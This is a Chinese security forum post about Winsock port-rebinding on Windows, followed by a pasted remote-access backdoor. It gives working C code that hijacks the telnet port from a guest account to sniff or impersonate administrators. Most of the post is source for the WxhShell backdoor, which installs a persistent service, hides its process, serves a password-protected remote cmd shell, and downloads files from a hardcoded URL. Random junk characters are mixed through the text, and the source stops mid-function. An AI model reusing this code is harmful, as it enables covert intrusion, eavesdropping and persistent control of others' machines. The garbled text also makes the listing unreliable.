在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
[uHU[
sG s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'G~i;o 2 -3mIdZ saddr.sin_family = AF_INET;
v@ OELJX 7Y[ q)lv saddr.sin_addr.s_addr = htonl(INADDR_ANY);
i+mU(/l2{ g*My1+J! bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]
1pIIX} LwRzzgt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
dp^PiyL s`H|o'0 这意味着什么?意味着可以进行如下的攻击:
Be]z @E1x o]4BST(A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|Vqm1.1/Zv )K@D4sl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
NZv 8# &Pm@+ML*x 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
*X$qgSW 6]%=q)oL[ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
SQ> Yf\ y\;oZ]J 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
1aO(+](; zA6C{L G3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
VnSO>O 0@b<?Ms9 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
53:u6bb; ! PGCoI #include
Z0zEX?2mb #include
qjkWCLOd #include
}NwmZw>_ #include
)e PQxx DWORD WINAPI ClientThread(LPVOID lpParam);
Cj3Xp~ int main()
9 c9$cnQ {
xj U0& WORD wVersionRequested;
hz;SDaBA DWORD ret;
`Zo5!"' WSADATA wsaData;
jrN 5l1np BOOL val;
#e-7LmO~ SOCKADDR_IN saddr;
paD[4L?4Hk SOCKADDR_IN scaddr;
OfBWf6b int err;
aC1 xt( SOCKET s;
89D`!`Ah] SOCKET sc;
3{co.+ int caddsize;
rwUhNth-Qh HANDLE mt;
=Xr{ Dg DWORD tid;
,e1c,} wVersionRequested = MAKEWORD( 2, 2 );
uGXvP(Pg' err = WSAStartup( wVersionRequested, &wsaData );
SGZYDxFC@ if ( err != 0 ) {
EJC}"%h printf("error!WSAStartup failed!\n");
3=ME$%f return -1;
rjcH[U( }
XS@iu,uO saddr.sin_family = AF_INET;
?:60lCqj 2BO H8Mp9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
gsQn@(; >BO!jv!a saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cp8w
_TPU saddr.sin_port = htons(23);
tQ;Fgv8Y! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
M_E$w$l2< {
adoK-bS t printf("error!socket failed!\n");
YGChVROG~ return -1;
D&mPYxXL }
F czia0@z val = TRUE;
%1;Y`> //SO_REUSEADDR选项就是可以实现端口重绑定的
8cY5:plK
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4jZt0 {
jzDPn<WQ printf("error!setsockopt failed!\n");
Lp$&eROFVs return -1;
v8E:64 }
;MYK TE>m //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
5ip ZdQ^ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Bt:M^b^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rM~Mqpk UVi9}zr if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:+_H%4+ {
C|FI4/-e ret=GetLastError();
M-QQ printf("error!bind failed!\n");
b9.7j!W return -1;
u8A,f}D 3 }
8[^b8^ listen(s,2);
E]a,2{&8< while(1)
l3MA&&++KF {
2g)q
( caddsize = sizeof(scaddr);
Sb?v5 //接受连接请求
K~UT@,CS60 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?j!/Hc/b4 if(sc!=INVALID_SOCKET)
!JDyv\i} {
CD?b.Cxai mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
^JIs:\g<< if(mt==NULL)
QB*AQ5- {
dXt@x8E printf("Thread Creat Failed!\n");
yyVJb3n5:! break;
{2g?+8L$Z }
S,+|A)\# }
!C' Y
7 CloseHandle(mt);
Gqar5 }
"$%&C%t closesocket(s);
6 ;\>, WSACleanup();
y>UQm|o<W return 0;
/WAOpf5 }
`a7b,d DWORD WINAPI ClientThread(LPVOID lpParam)
K^AIqL8 {
O'~^wu. SOCKET ss = (SOCKET)lpParam;
<3k9 y^0 SOCKET sc;
\@6w;tyi unsigned char buf[4096];
B$97"$#u SOCKADDR_IN saddr;
5iItgVTW long num;
/4*>.Nmb,f DWORD val;
S^e e<%- DWORD ret;
#{bT=:3a //如果是隐藏端口应用的话,可以在此处加一些判断
+>mU4Fwp //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
It'PWqZtG saddr.sin_family = AF_INET;
N':d
T saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F*B^#AZg saddr.sin_port = htons(23);
m<4tH5};d if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
U3>ES"N {
kf",/?s2Z printf("error!socket failed!\n");
H8qAj return -1;
3AuLRI }
L{6Vi&I84[ val = 100;
$>l65)(E\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<M3&\ {
MIAC'_<-e ret = GetLastError();
gAGcbepX return -1;
<^A1.o<GN }
c30kb if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*zPz)3; {
g9gyx/'* ret = GetLastError();
[ 3SbWwg return -1;
R?,XSJ }
@JD!.3 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
$xj>j {
7}e{&\0=l printf("error!socket connect failed!\n");
%i9*2{e#~ closesocket(sc);
`Yu4h+T closesocket(ss);
8bEii1EM return -1;
{ r8H5X }
a*@4W3;7 while(1)
b;(BMO,( {
xOpCybmc //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
.sPa${ //如果是嗅探内容的话,可以再此处进行内容分析和记录
Ba|76OBRJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
$k3l[@;hE num = recv(ss,buf,4096,0);
71yf+xL if(num>0)
`>}e 5 send(sc,buf,num,0);
Zo5.Yse else if(num==0)
..ht)Gex break;
bU"2D.k num = recv(sc,buf,4096,0);
a<Ptm(, if(num>0)
jP"='6Vrw send(ss,buf,num,0);
)VR/a else if(num==0)
W\yaovAt break;
>9]i#So^ }
4ze4{a^ closesocket(ss);
L {i|OK^e closesocket(sc);
Rlf#)4 return 0 ;
ZzO.s$ }
\>XkK<ye 6~6*(s|]A 6Yx/m ==========================================================
m3K .\3 6/ thhP3`- 下边附上一个代码,,WXhSHELL
3LD`Ep
0j|JyS:}G ==========================================================
7j L.\O 7q _.@J #include "stdafx.h"
DWRq \`P
l+8G6?@]> #include <stdio.h>
$5/lU
}To #include <string.h>
BIjQ8 t #include <windows.h>
2r&T. #include <winsock2.h>
;v1&Rs #include <winsvc.h>
<ekLL{/O' #include <urlmon.h>
d>NM4n[h8 @5\ns-% #pragma comment (lib, "Ws2_32.lib")
7vs>PV #pragma comment (lib, "urlmon.lib")
R k).D6 "Dwaq*L #define MAX_USER 100 // 最大客户端连接数
L2
tSKw~ #define BUF_SOCK 200 // sock buffer
PG/xX
H #define KEY_BUFF 255 // 输入 buffer
OmX(3>:9 eyGY8fF8$ #define REBOOT 0 // 重启
uCNi&. #define SHUTDOWN 1 // 关机
5}t}Wc8 {m+(j (6- #define DEF_PORT 5000 // 监听端口
o=VDO,eS zcNv T #define REG_LEN 16 // 注册表键长度
ta 66AEc9 #define SVC_LEN 80 // NT服务名长度
PxHHh{y%c WwM/M!98J // 从dll定义API
Ui`Z>,0sFi typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
RK`C31Ws typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mxV0"$'Fm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
KoNJ;YiKtN typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
/Z*XKIU6v/ g4 |s9RMD // wxhshell配置信息
u`vOKajpH$ struct WSCFG {
7 a}qnk% int ws_port; // 监听端口
Z>H
y+Q4 char ws_passstr[REG_LEN]; // 口令
dLMKfh/4Q int ws_autoins; // 安装标记, 1=yes 0=no
nZ 0rxx[V? char ws_regname[REG_LEN]; // 注册表键名
U&\8~h char ws_svcname[REG_LEN]; // 服务名
<X_I` char ws_svcdisp[SVC_LEN]; // 服务显示名
l4sFT)}-J char ws_svcdesc[SVC_LEN]; // 服务描述信息
;:l\_b'Z} char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2=6}! Y int ws_downexe; // 下载执行标记, 1=yes 0=no
IA XoEBlMs char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
80M"`6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
eD4o8[s *h>KeIB; };
]D;X"2I2'b P+~{q.|._c // default Wxhshell configuration
vA*Ud;%R struct WSCFG wscfg={DEF_PORT,
~)JNevLZ "xuhuanlingzhe",
O+o1R24JI 1,
SGREpOlJ+ "Wxhshell",
?x(]U+ "Wxhshell",
[l2ds: "WxhShell Service",
gz? ]]-H "Wrsky Windows CmdShell Service",
1 f;k)x "Please Input Your Password: ",
67/&.d! 1,
OA_Bz" "
http://www.wrsky.com/wxhshell.exe",
5 :ZM-kZT "Wxhshell.exe"
S6r$n };
=hO0@w n~g,qEI;<x // 消息定义模块
<QyJJQM char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*c+Kqz- char *msg_ws_prompt="\n\r? for help\n\r#>";
F`$V H^%V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
KU> $=Rd char *msg_ws_ext="\n\rExit.";
<"g ^V char *msg_ws_end="\n\rQuit.";
;oQ*gd char *msg_ws_boot="\n\rReboot...";
%!G]H char *msg_ws_poff="\n\rShutdown...";
XJ|CC.]1u char *msg_ws_down="\n\rSave to ";
;:[!I ]E0 2?9SM@nAY char *msg_ws_err="\n\rErr!";
q7
;TdQ char *msg_ws_ok="\n\rOK!";
$Xf gY1S 9w Pc03a char ExeFile[MAX_PATH];
SG{> t*E int nUser = 0;
ESl-k2 HANDLE handles[MAX_USER];
u2SnL$A7 int OsIsNt;
|[tlR`A $ (CRY$+d SERVICE_STATUS serviceStatus;
vPn( ~d_ SERVICE_STATUS_HANDLE hServiceStatusHandle;
*.UM[Wo 6p
X[m{ // 函数声明
yu'2 int Install(void);
<303PPX^6 int Uninstall(void);
d+_wN2 int DownloadFile(char *sURL, SOCKET wsh);
s 9,?"\0Zm int Boot(int flag);
@"9^U_Qf1z void HideProc(void);
#4ZDY,>Xi# int GetOsVer(void);
v(?^#C>6W int Wxhshell(SOCKET wsl);
meHAa` void TalkWithClient(void *cs);
`[<j5(T int CmdShell(SOCKET sock);
G] -$fz int StartFromService(void);
ckXJ9> int StartWxhshell(LPSTR lpCmdLine);
7T]}<aK<c[ =gCv`SFW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
30(O]@f~ VOID WINAPI NTServiceHandler( DWORD fdwControl );
6OJ`R.DM` EROf%oaz= // 数据结构和表定义
;O*y$|+PA SERVICE_TABLE_ENTRY DispatchTable[] =
^FJ=/ #@T {
-'FzH?q: {wscfg.ws_svcname, NTServiceMain},
9Z,vpTE {NULL, NULL}
k#8,:B2 };
S{7*uK3$ bJJB*$jW= // 自我安装
+1j@n.)ft int Install(void)
A7*<,]qT {
bDa(@QJ- char svExeFile[MAX_PATH];
c7mIwMhl~ HKEY key;
_ECWS fZ strcpy(svExeFile,ExeFile);
%(GWR@mfC YN1P9j#0d // 如果是win9x系统,修改注册表设为自启动
Np4';H if(!OsIsNt) {
b[<zT[.: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\$Xo5f< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(|_1ku3! RegCloseKey(key);
g@!mV)c97 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
F V8K_xj RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!/W[6'M#p RegCloseKey(key);
hr&&"d {s return 0;
1$Rua }
X/ }
f>k<I[C< }
[:-Ltfr else {
/; ;_l2 t !424K-nW // 如果是NT以上系统,安装为系统服务
1b:3'E.#w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
" (c#H if (schSCManager!=0)
6eSc`t& {
"oZ-W?IK E SC_HANDLE schService = CreateService
?;pw*s1Atz (
.4c* _$ schSCManager,
$2Y'[Dto\ wscfg.ws_svcname,
L>~wcoB wscfg.ws_svcdisp,
ZUJ! SERVICE_ALL_ACCESS,
P?GHcq$\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
t\J5np SERVICE_AUTO_START,
"
N)dle, SERVICE_ERROR_NORMAL,
b/IT8Cm3 svExeFile,
SoZ$1$o2 NULL,
8)IpQG NULL,
Y !e NULL,
4.|-?qG NULL,
Z-3i -( NULL
*I)oDq3 );
\I J\ if (schService!=0)
KE3/sw0 {
KI~BjP\e CloseServiceHandle(schService);
BgLW!|T[ CloseServiceHandle(schSCManager);
w
'?xewx strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
?bwF$Ku strcat(svExeFile,wscfg.ws_svcname);
t(69gF\" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
UELni,$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
nN!/ RegCloseKey(key);
Kbjt CI7 return 0;
CR*R'KX D% }
~|+!xh }
} LLnJl~Z CloseServiceHandle(schSCManager);
b0
))->&2 }
))"J }
s[h& Uv"G F(*~[*Ff return 1;
DJ?kQ }
e573UB ft oz0Vb // 自我卸载
'f0*~Wq| int Uninstall(void)
C2RR(n=N^ {
\a]JH\T)Q HKEY key;
bl. y4 eekp&H$'s if(!OsIsNt) {
.a._WZF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^E_`M:~ RegDeleteValue(key,wscfg.ws_regname);
xBH`=e< RegCloseKey(key);
=ML6"jr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?n o.hf RegDeleteValue(key,wscfg.ws_regname);
K)5'Jp@ RegCloseKey(key);
4naL2 Y! return 0;
({=:
N }
['%]tWT9 }
z(]14250 }
X2b<_j3 else {
A<ca9g3 6.? Ke8iC SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
dKyJ.p if (schSCManager!=0)
MONfA;64/ {
H\]ZtSw8- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
siveqz6h if (schService!=0)
4qq+7B {
$]:ycn9l if(DeleteService(schService)!=0) {
FG.MV-G
CloseServiceHandle(schService);
jt|e?1:vF CloseServiceHandle(schSCManager);
2_lgy?OE` return 0;
GKf,1kns }
RR h0G>* CloseServiceHandle(schService);
69{^Vfd;Y }
1U[8OM{$ CloseServiceHandle(schSCManager);
nb}* IExd }
+*"u(7AV }
llVm[7 E!.>*`)?. return 1;
nO^aZmSu }
FoY_5/ "N'tmzifh // 从指定url下载文件
f\CJ |tKX int DownloadFile(char *sURL, SOCKET wsh)
a4HUP* {
H^ _[IkuA% HRESULT hr;
4QbD DvRQ^ char seps[]= "/";
^Glmg}>q char *token;
&Rw4ub3 char *file;
ql,k 5.l char myURL[MAX_PATH];
(.~#bl char myFILE[MAX_PATH];
bdh6ii ;Awt: jF strcpy(myURL,sURL);
5B3S]@% token=strtok(myURL,seps);
3 @XkO while(token!=NULL)
]`%}Q {
0#}Ed Q file=token;
$j61IL3+ token=strtok(NULL,seps);
x(J|6Ey7!n }
;=goIsk{Q nX(2&< GetCurrentDirectory(MAX_PATH,myFILE);
>`Xikn( strcat(myFILE, "\\");
oNHbQ&h strcat(myFILE, file);
WW33ZJ send(wsh,myFILE,strlen(myFILE),0);
hl`4_`3y send(wsh,"...",3,0);
h}PeXnRU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
]?!#*<t r if(hr==S_OK)
5U)Ia>p return 0;
Y r6wYs(% else
y8"8QH return 1;
pR6mSfer dg[&5D1Q }
o'Q"
Q)eYJP=W // 系统电源模块
Bw^*6P^l int Boot(int flag)
$10"lM[ {
AD_RU_a9 HANDLE hToken;
*x[ZN\$`Y TOKEN_PRIVILEGES tkp;
Jq0aDf
f H4C ]%Q if(OsIsNt) {
ziUEA>m*/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
ktlI(#\% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
zu8 tkp.PrivilegeCount = 1;
eUMOV]h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-4du`dg AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\;&WF1d`ac if(flag==REBOOT) {
pVgzUu7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;a@%FWc return 0;
d/I,` }
aLZza"W else {
lu~<pfg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
, y%!s27 return 0;
wrw4Uxq }
+T]/4"^M }
9<qAf` else {
[n%=2*1p if(flag==REBOOT) {
J~.8.]gXW if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Q<4Sd:P`" return 0;
^0oOiZs }
%K0
H?^. else {
F@ Sw if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
[D/q
return 0;
\0gU)tVZ }
zx:Qz }
u-v/`F2wN L1P.@hJ return 1;
}<m'Nkz<X }
#0OW0:Q XMt)\r. // win9x进程隐藏模块
5d ?\>dA void HideProc(void)
?K5S{qG'O {
44e:K5;]7 sa8Q1i&% HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.%~m|t+Rt if ( hKernel != NULL )
[ PXv8K%]p {
Uwj|To&QR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
B?bdHO:E~ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:SBB3G)| FreeLibrary(hKernel);
h=<x%sie }
,x (?7ZW> W(~7e?fO return;
C/34K( }
. W ~&d_n eK8y'VY // 获取操作系统版本
_.)6~ int GetOsVer(void)
IR_&dWHyc {
cp| q OSVERSIONINFO winfo;
/6Bm
<k% winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
BqoGHg4iq GetVersionEx(&winfo);
}:QQ{h_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
B!J~ t8 return 1;
zDakl*
else
4i]h0_] return 0;
$,I%g< }
4%refqWK @Z}TF/Rx4 // 客户端句柄模块
,)u1r3@I^ int Wxhshell(SOCKET wsl)
^T>P {
%s&"gWi SOCKET wsh;
0j\} @ struct sockaddr_in client;
nF"NXYa DWORD myID;
qcVmt1" msf%i ! while(nUser<MAX_USER)
t%S2D {
7XM:4whw int nSize=sizeof(client);
;W~H|M wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Bp:PAy if(wsh==INVALID_SOCKET) return 1;
$kAal26 z 3Gk\3iU! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Z'!Ii+'6 if(handles[nUser]==0)
b8FSVV
7@ closesocket(wsh);
J?R\qEq% else
}Od=WQv+ nUser++;
c_~tCKAZ }
kleE\8_ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
|K.J@zW s~i73Qk/ return 0;
@IE.@1 }
p;xMudM jjJvyZi~J // 关闭 socket
]H {g/C{j
void CloseIt(SOCKET wsh)
O3/w@q Q {
'&LH9r closesocket(wsh);
}5b,u6 nUser--;
KA/~q"N ExitThread(0);
SJ7-lben3 }
+,q#'wSQG ~rfUqM]I // 客户端请求句柄
]broU%#" void TalkWithClient(void *cs)
F2)\%HR {
;owU]Xk%8K TdKo"H*C SOCKET wsh=(SOCKET)cs;
qsG}A char pwd[SVC_LEN];
yd=NafPM char cmd[KEY_BUFF];
;;>G}pG char chr[1];
PP{s&( int i,j;
n_9Wrx328 5>\Lk>rI while (nUser < MAX_USER) {
<lN=<9 x'iBEm if(wscfg.ws_passstr) {
JT cE{i if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
boeIO\2}P0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Xh?J"kjof //ZeroMemory(pwd,KEY_BUFF);
N"[r_! i=0;
oK@_
while(i<SVC_LEN) {
v;.w*x8Jw ?QRoSQ6 // 设置超时
XjFaP { fd_set FdRead;
4(mRLr%l@` struct timeval TimeOut;
J;5G]$s FD_ZERO(&FdRead);
pY$DOr-r` FD_SET(wsh,&FdRead);
2J &J TimeOut.tv_sec=8;
9i`MUE1Sh TimeOut.tv_usec=0;
!*!i&0QC~R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
6^QSV@N| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
/P[ @o @W.0YU0|J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
2{A/Fbk pwd
=chr[0]; l\6.f_
if(chr[0]==0xd || chr[0]==0xa) { /St d6B*
pwd=0; (.~,I+Cz'
break; tSX,*cz
} Z}`A'#!
i++; z{(c-7*
} M?v`C>j
wDt9Lf
O
// 如果是非法用户,关闭 socket 82P#C4c+d
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $_+.D`vx`
} g0k{b
rd ]dDG
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2#_i_j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q^Ui2
g{e@I;F
while(1) { HV[*=Qi
czcsXB l[
ZeroMemory(cmd,KEY_BUFF); k/m-jm_h
_zG[b/:p
// 自动支持客户端 telnet标准 xX~;
/e&,
j=0; =
KJ_LE~)
while(j<KEY_BUFF) { |bX{MF
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F3=iyiz6
cmd[j]=chr[0]; ? oQ_qleuo
if(chr[0]==0xa || chr[0]==0xd) { Y;1J`oT
cmd[j]=0; gE$@:j
break; w=x
[=O
} evE$$# 6R
j++; umI6# Vd`=
} Senb_?
+GlG.6
// 下载文件 Eemk2>iP?
if(strstr(cmd,"http://")) { bnxR)b~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); uuf+M-P
if(DownloadFile(cmd,wsh)) _xdFQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); qwvch^?>FQ
else u;/<uV3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KY9&Ky+2 B
} s-e<&*D[
else { VI;)VJbq
*3h!&.zm
switch(cmd[0]) { .]LP327u
wh#x`Nc
// 帮助 MB"<^ZX
case '?': { /rzZU} 3[
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yr
q){W
break; +<7a$/L?4
} lQt* LWd[
// 安装 v0W/7?D
case 'i': { q/3 )yG6s
if(Install()) Pi'[d7o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U,tWLX$@
else cE7IHQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !A#(bC
break; :eL
ja*
} t4FaU7
// 卸载 5tcJTz
case 'r': { &)F#cVB
if(Uninstall()) jbs)]fqC;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 11BfJvs:
else oWcBQ|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;0Mg\~T~'
break; > m##JzWLr
} k-|b{QZ8!;
// 显示 wxhshell 所在路径 O_|p{65
case 'p': { PJ'.s
char svExeFile[MAX_PATH]; 8BggK6X
strcpy(svExeFile,"\n\r"); dH+oV`
strcat(svExeFile,ExeFile); >@i{8AD
send(wsh,svExeFile,strlen(svExeFile),0); 4qmaL+Q
break; Pskg68W
} H<C+rAIb
// 重启 g/jlG%kI}
case 'b': { '/Ag3R
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]?n~?dD{]
if(Boot(REBOOT)) j[&C6l+wH
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yUlYf#`H
else { {+x;J4
closesocket(wsh); z]0UW\S/
ExitThread(0); F'3-*>]P
} ca?;!~%zA
break; O
K2|/y
} BZs?tbf
// 关机 \"AzT{l!;
case 'd': { zR6^rq*
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ` EgO&;1D)
if(Boot(SHUTDOWN)) kz?m `~1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); FX:'38-fk
else { X.hVMX2B
closesocket(wsh); YMIX|bj6Y
ExitThread(0); 2[TssJQ
} U(u$5
break; V0a)9\x(\
} *pKj6x
// 获取shell [;qZu`n>
case 's': { 1,(uRS#bk
CmdShell(wsh); XdGA8%^cY
closesocket(wsh); DgRA\[c
ExitThread(0); G8Sx;Xi
break; h0n,WU/Kw
} X7{ h/^
// 退出 X)k+BJ
case 'x': { zx=AT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); drEND`,@6|
CloseIt(wsh); Yn1CU
break; Fc.1)yh.
} V.12
// 离开 u<a =TPAU
case 'q': { sN9
SuQ
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .qG*$W2f
closesocket(wsh); /{+77{#Qn
WSACleanup(); nN[gAM (
exit(1); .m
\y6
break; 3FpS o+
} {Wh7>*p{3
} 7(1UXtT
} Th\t6K~
b.sRB1
// 提示信息 eK'ztqQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m-)yQM8
} i0e aBG]I
} 0F|DD8tHR
Q2 @Ugt$
return; Nw|m"VLb
} 4>$weu^
{5N!udLDr5
// shell模块句柄 SM@RELA'Lb
int CmdShell(SOCKET sock) L!V6Rfy
{ GPVqt"TY
STARTUPINFO si; PTFe>~vr*
ZeroMemory(&si,sizeof(si)); M~#%
[?iU
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7n*[r*$
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; of>"qrdZ
PROCESS_INFORMATION ProcessInfo; |m /XGr
char cmdline[]="cmd"; ';OZP2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a>/cVu'kz
return 0; GUqhm$6a
} DV">9{"5']
a54qv^IS
// 自身启动模式 5Sfz0
int StartFromService(void) cp\A
xWtUZ
{ H&3i[D!p
typedef struct <4QOjW
{ T%p/(
DWORD ExitStatus; )i{B:w\ ^
DWORD PebBaseAddress; =(U&?1 R4
DWORD AffinityMask; c<J/I_!
